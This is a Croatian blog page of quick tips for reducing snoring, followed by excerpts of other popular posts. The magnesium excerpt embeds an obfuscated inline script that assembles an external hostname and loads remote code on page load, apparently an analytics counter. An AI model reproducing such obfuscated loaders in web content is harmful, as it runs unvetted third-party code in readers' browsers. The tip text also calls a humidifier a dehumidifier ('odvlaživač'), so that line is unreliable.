BRZI TRIKOVI KAKO ZAUSTAVITI HRKANJE


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Brzi trikovi kako zaustaviti hrkanje 

https://teen385.dnevnik.hr/clanak/savjeti/zdravlje-tijelo/kako-prestati-biti-ona-osoba-koja-hrce-6-brzih-trikova-kako-zaustaviti-hrkanje---961310.html


Možda vam se dogodila situacija da ste svojim hrkanjem sami sebe probudili iz sna ili su vam osobe koje spavaju kraj vas – bilo u krevetu ili u sobi, rekle da hrčete. Možete ovo okrenuti na šalu, ali svejedno i poraditi na tome da ga pokušate smanjiti. Postoji puno razloga zašto netko hrče, a neki su od njih lako rješivi. Najbolje je otkriti koji je problem kod vas pa ćete ga tako i najlakše popraviti. Do tada, ovo su neki brzi trikovi koji mogu pomoći u roku odmah.





Počnite spavati na boku

Kada je u pitanju hrkanje, najgore je spavati na leđima. Ljudi su primijetili da im pomogne ako promjene poziciju u kojoj spavaju i počnu spavati na boku. Može biti nezgodno ako niste navikli, ali je brzo rješenje problema koje bi moglo upaliti.



Koristite odvlaživač zraka

Hrkanje će potaknuti i ako je u prostoriji u kojoj spavate suh zrak, što se tijekom zime vrlo lako može dogoditi zbog stalnog grijanja. Može pomoći da ostavite odškrinut prozor ako vam to ne smeta ili da postavite u tu prostoriju odvlaživač zraka.



Napravite inhalaciju prije spavanja

Ovo je već malo zahtjevniji korak, ali ako ste u periodu kada su vam dišni putevi pomalo začepljeni ili vam curi nos, inhalacija prije spavanja može pomoći pročistiti ih. Osim što će vam pomoći da manje hrčete, bit će vam i lakše zaspati.



Neka vam glava bude na višem kada spavate

Može biti i da vam je glava prenisko kada spavate. Dodati još jedan jastuk može biti od pomoći! Podignuti glavu za kojih 10-ak centimetara se naizgled ne čini tako puno, ali u ovoj situaciji može biti od koristi.



Nemojte navečer piti alkohol ili uzimati jače tablete

Ako navečer odete van i pijete, mogli biste tu večer više hrkati. Alkohol opušta mišiće vrata i grla, što dovodi do sužavanja dišnih putova i vibracija nepca. Osim toga, tablete za spavanje su također razlog zašto neke večeri više ili glasnije hrčete. Pokušajte izbjeći alkohol i tablete!



Pročistite nos sprejom za nos s morskom vodom

Ranije spomenuta inhalacija može biti nezgodna za mnoge, a druga opcija koja će pomoći pročistiti dišne puteve prije spavanja su sprejevi s morskom vodom. Pomoći će ako ste prehlađeni ili ako imate pomalo začepljen nos. Pazite ipak da s ovim ne pretjerate i da ne koristite i kada vam nije ništa jer iako se može kupiti i u drogerijama, radi se o medicinskom proizvodu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više